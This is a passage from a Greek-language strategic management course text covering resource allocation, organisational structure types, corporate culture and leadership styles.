περιορισμένοι σε μια επιχείρηση, η ορθολογική κατανομή τους αποτελεί σημαντικό παράγονται για την επιτυχημένη υλοποίηση μιας στρατηγικής. Η ορθολογική κατανομή Η ορθολογική κατανομή και διαχείριση των επιχειρησιακών πόρων γίνεται με βάση τις προτεραιότητες και τους σκοπούς του οργανισμού, όπως αυτοί έχουν διαμορφωθεί κατά τη διάρκεια του σχεδιασμού της στρατηγικής. Υποστήριξη των προγραμματισμένων δραστηριοτήτων Έτσι, με την ορθολογική κατανομή των πόρων εξασφαλίζεται η υποστήριξη των προγραμματισμένων δραστηριοτήτων με βάση το βαθμό σπουδαιότητας τους και γίνεται αντιληπτό σε ποιες δραστηριότητες πρέπει να επικεντρωθεί περισσότερο η επιχείρηση. Η μη ορθολική κατανομή Η μη ορθολογική κατανομή των πόρων της επιχείρησης θα έχει ως αποτέλεσμα την σπατάλη των περιορισμένων πόρων της καθώς και την απομάκρυνση από την επιτυχημένη υλοποίηση της στρατηγικής. Η κατάρτιση των προυπολογισμών Η κατάρτιση των προϋπολογισμών (budgets), μέσω των οποίων η επιχείρηση κάνει κατανομή των χρηματοοικονομικών της πόρων, αποτελούν ένα από τα αρχικά στάδια της διαδικασίας εφαρμογής και υλοποίησης μιας νέας ή διαφορετικής στρατηγικής. Επιλογή των πόρων Η ικανότητα μιας εταιρείας να επιλέγει τους πόρους που απαιτούνται για τη στήριξη νέων στρατηγικών και ο προσανατολισμός τους στις κατάλληλες οργανωτικές μονάδες έχει

μεγάλο αντίκτυπο στην υλοποίηση της στρατηγικής. Επιβράδυνση της προόδου των οργανωτικών μονάδων Η πολύ χαμηλή χρηματοδότηση επιβραδύνει την πρόοδο και τη λειτουργία των οργανωτικών μονάδων στην προσπάθεια τους να υλοποιήσουν το στρατηγική ως το σημείο που τους αναλογεί. Αντίθετα, η πολύ υψηλή χρηματοδότηση αποτελεί σπατάλη χρηματοοικονομικών πόρων για την επιχείρηση. Είναι πολύ σημαντικό να ειπωθεί ότι μια αλλαγή στρατηγικής μπορεί να απαιτήσει ανακατανομή και μετακίνηση πόρων.

Εκπαιδευτική Υποενότητα 16.3 Η Οργανωτική δομή της επιχείρησης Εισαγωγή Οι αλλαγές στη στρατηγική της επιχείρησης συνήθως συνοδεύονται από αλλαγές στην οργανωτική δομή της. Αυτό οφείλεται κυρίως σε δύο λόγους: 1. Η οργανωτική δομή μιας επιχείρησης επιβάλλει τον τρόπο καθορισμού των στόχων καθώς και των επιχειρησιακών πολιτικών της. 2. Η οργανωτική δομή επιβάλλει τον τρόπο κατανομής των πόρων μιας επιχείρησης. Η οργανωτική δομή πρέπει να σχεδιάζεται κατά τέτοιο τρόπο, ώστε να διευκολύνει την εφαρμογή της αποφασισμένης στρατηγικής, και ως εκ τούτου έπεται της διαδικασίας αξιολόγησης και επιλογής των στρατηγικών. Τύποι οργανωτικής δομής Οι κυριότεροι τύποι οργανωτικής δομής είναι (Wheelen και Hunger, 2008): -Απλή οργανωτική δομή (Simple Structure): ο επιχειρηματίας λαμβάνει όλες τις σημαντικές αποφάσεις και εμπλέκεται σε όλες τις δραστηριότητες της επιχείρησης.Οι τυπικές λειτουργίες του σχεδιασμού, οργάνωσης, διεύθυνσης, στελέχωσης και ελέγχου της επιχείρησης διενεργούνται συνήθως σε πολύ μικρό βαθμό αν όχι καθόλου. -Οργανωτική δομή βασισμένη στις λειτουργικές μονάδες της επιχείρησης (Functional Structure): ο πιο διαδεδομένος τύπος της συγκεκριμένης οργανωτικής δομής, ο οποίος είναι ο πιο απλός και ο λιγότερο δαπανηρός, είναι ο συγκεντρωτικός τύπος. Βασίζεται στις λειτουργικές μονάδες της επιχείρησης όπως είναι η παραγωγή, το μάρκετινγκ, τα χρηματοοικονομικά κλπ. -Οργανωτική δομή βασισμένη στις αυτόνομες μονάδες (Divisional Structure): αποτελεί τον δεύτερο πιο διαδεδομένο τύπο οργανωτικής δομής και ονομάζεται αποκεντρωτικός τύπος επειδή στηρίζεται κυρίως στις αυτόνομες μονάδες της επιχείρησης.

-Οργανωτική δομή βασισμένη στις ανεξάρτητες «Στρατηγικές Επιχειρηματικές Μονάδες» (Strategic Business Unit Structure – SBUs): όσο ο αριθμός, το μέγεθος και η διαφορετικότητα των ανεξάρτητων μονάδων μιας επιχείρησης αυξάνει, οπρογραμματισμός και ο έλεγχός τους από την κεντρική διοίκηση γίνεται δυσκολότερος, σε αυτές τις περιπτώσεις η συγκεκριμένη δομή είναι η αποδοτικότερη λύση. -Οργανωτική δομή τύπου «μήτρας» (Matrix Structure): είναι ο πιο πολύπλοκος τύπος οργανωτικής δομής καθώς στηρίζεται στη μεταβίβαση εξουσίας και προς τις δύο κατευθύνσεις, δηλαδή και κάθετα και οριζόντια. Αντίθετα όλοι οι προηγούμενοι τύποι οργανωτικής δομής στηρίζονται μόνο στη μεταβίβαση εξουσίας κάθετα, δηλαδή από την κορυφή της ιεραρχίας προς τα κατώτερα επίπεδα αυτής. Δομή και στρατηγική Η δομή και η στρατηγική, επομένως, πρέπει να εναρμονίζονται για την επιτυχή υλοποίηση της στρατηγικής.

Η Κουλτούρα της επιχείρησης Κάθε εταιρεία έχει τη δική της μοναδική κουλτούρα. Εκτός από τη δομή, και η κουλτούρα της επιχείρησης θα πρέπει να είναι συμβατή με την υιοθετούμενη στρατηγική. Η εταιρική κουλτούρα αναφέρεται στο χαρακτήρα του εργασιακού κλίματος και της ταυτότητας της εταιρείας, όπως αυτά διαμορφώνονται από τις βασικές τις αξίες, τις πεποιθήσεις, τις επιχειρηματικές αρχές, τις παραδόσεις, τους βαθειά ριζωμένους κανόνες συμπεριφοράς, τις εργασιακές πρακτικές και την τεχνοτροπία λειτουργίας της εταιρείας.

Κρίσιμη διάσταση των επιχειρήσεων Πρόκειται πράγματι για μια διάσταση των επιχειρήσεων η οποία στο σύγχρονο περιβάλλον θεωρείται ιδιαίτερα κρίσιμη, αν όχι η πλέον κρίσιμη, για την αποτελεσματικότητα, την ανatγωνιστικότητα και τη μακροπρόθεσμη επιτυχία. Καθήκον της ανώτατης διοίκησης Η ανώτατη διοίκηση κάθε επιχείρησης έχει καθήκον να δημιουργήσει, ή να διατηρήσει και να βελτιώσει το υπάρχον σύστημα επιχειρησιακής της κουλτούρας κατά τέτοιο τρόπο, ώστε να παρακινεί όλο το προσωπικό στην υποστήριξη των προτεινόμενων στρατηγικών, άρα και των αλλαγών που απαιτούνται στο εσωτερικό της επιχείρησης για την εφαρμογή των στρατηγικών.

Κουλτούρες των εταιριών Οι κουλτούρες των εταιρειών ποικίλουν σε δύναμη και επιρροή. Μερικές είναι βαθιά ριζωμένες και έχουν μεγάλο αντίκτυπο στις δραστηριότητες και τους κανόνες συμπεριφοράς μιας εταιρείας. Άλλες είναι αδύναμες και ασκούν συγκριτικά μικρή επιρροή στις λειτουργίες μιας επιχείρησης. Ισχυρές εταιρικές κουλτούρες Οι ισχυρές εταιρικές κουλτούρες λειτουργούν ως παράγοντας προαγωγής της υψηλής επίδοσης. Σε μια εταιρεία με αδύναμη κουλτούρα μπορεί να υπάρχουν πολλές υποκουλτούρες όπου παρουσιάζονται ελλείψεις αξιών και αρχών. Οι αδύναμες κουλτούρες Ως συνέπεια, οι αδύναμες κουλτούρες παρέχουν λίγη ή ελάχιστη βοήθεια στην υλοποίηση της στρατηγικής. Όσο πιο στενά συνδεδεμένες είναι η κουλτούρα με τη στρατηγική τόσο περισσότερο η κουλτούρα καθοδηγεί το προσωπικό της εταιρείας στο να υιοθετεί συμπεριφορές και λειτουργικές πρακτικές που οδηγούν στη σωστή υλοποίηση της στρατηγικής. Αλλαγή της κουλτούρας Η αλλαγή της κουλτούρας μιας εταιρείας αποτελεί ένα από τα πιο δύσκολα καθήκοντα της διοίκησης, επειδή μόλις εδραιωθεί μια κουλτούρα είναι πολύ δύσκολο να αλλάξει. Ο μοναδικός μη ορατός παράγοντας, που διακρίνει τις αποτυχημένες από τις επιτυχημένες προσπάθειες αλλαγής κουλτούρας είναι η ικανή ηγεσία (leadership) στα ανώτερα στρώματα της ιεραρχίας.

Η Ηγεσία Ηγεσία είναι η ικανότητα των διοικούντων να επιβλέπουν αλλά και να συνεργάζονται με τους υφισταμένους τους για την αποτελεσματικότερη και αποδοτικότερη εκτέλεση του έργου που τους έχει ανατεθεί, ώστε να επιτευχθούν οι στόχοι της επιχείρησης. Για να το επιτύχουν αυτό χρειάζεται να δίνουν όραμα, προοπτική, κατεύθυνση.

Η ηγεσία στις επιχειρήσεις Στις επιχειρήσεις η ηγεσία αποτελεί παράγοντα κλειδί, αφού προσδιορίζει τη συμπεριφορά και το βαθμό αξιοποίησης της δυναμικότητας των εργαζομένων και κατά συνέπεια τη λειτουργία και ανάπτυξή τους. Χωρίς τη λειτουργία της ηγεσίας, λειτουργίες όπως ο προγραμματισμός, η οργάνωση, η

στελέχωση και ο έλεγχος από μόνες τους δεν είναι ικανές να προχωρήσουν στην αποτελεσματική υλοποίηση των στόχων της επιχείρησης. Η ηγεσία σε μια επιχείρηση ασκείται συνήθως από τα ανώτερα στελέχη και συνήθως από τον ιδιοκτήτη της εταιρείας.

Τρία βασικά στυλ ηγεσίας Τα τρία βασικά στυλ ηγεσίας με κριτήριο τον τρόπο λήψης απόφασης από τον ηγέτη είναι: 1. Το αυταρχικό στυλ ηγεσίας, όπου ο ηγέτης παίρνει μόνος του τις αποφάσεις και τις μεταβιβάζει στην ομάδα για εκτέλεση. 2. Το δημοκρατικό στυλ ηγεσίας, όπου ο ηγέτης λαμβάνει σοβαρά υπόψη του τις απόψεις, τις προτάσεις και τις επιθυμίες των μελών της ομάδας και πολλές φορές ζητά τη συμμετοχή τους στη διαδικασία λήψης απόφασης. 3. Το εξουσιοδοτικό στυλ ηγεσίας, όπου η ομάδα παίρνει τις αποφάσεις μόνη της χωρίς να την επηρεάσει ο ηγέτης επειδή ο ρόλος του είναι πολύ περιορισμένος.

Ηγεσία και μάνατζμεντ Η ηγεσία δεν ταυτίζεται με το μάνατζμεντ αλλά αποτελεί ένα μέρος αυτού, στην ουσία η ηγεσία και το μάνατζμεντ είναι συμπληρωματικά και αλληλοσυμπληρούμενα συστήματα. Σύμφωνα με τους Bennis και Nanus «οι μάνατζερ είναι αυτοί που κάνουν τα πράγματα σωστά, ενώ οι ηγέτες είναι αυτοί που κάνουν τα σωστά πράγματα».

Η άσκηση ηγεσίας Η άσκηση ηγεσίας επηρεάζει τόσο τη διαμόρφωση της στρατηγικής, όπου είναι απαραίτητη στη δημιουργία του οράματος και στη καθοδήγηση της επιχείρησης, όσο και την υλοποίηση της στρατηγικής, όπου παίζει κεντρικό ρόλο στην υιοθέτηση της στρατηγικής και στην παρακίνηση των μελών της επιχείρησης για να επιτύχει τους στόχους της. Ταύτιση με τον ηγέτη Είναι γεγονός ότι οι επιχειρήσεις επηρεάζονται σε τέτοιο βαθμό από τον ηγέτη τους που ταυτίζονται πολλές φορές με αυτόν, αν και είναι μεγάλο λάθος να παραβλέπεται ή να υποτιμάται η συμβολή του συνόλου της ηγετικής ομάδας της επιχείρησης. Επιτυχημένος ηγέτης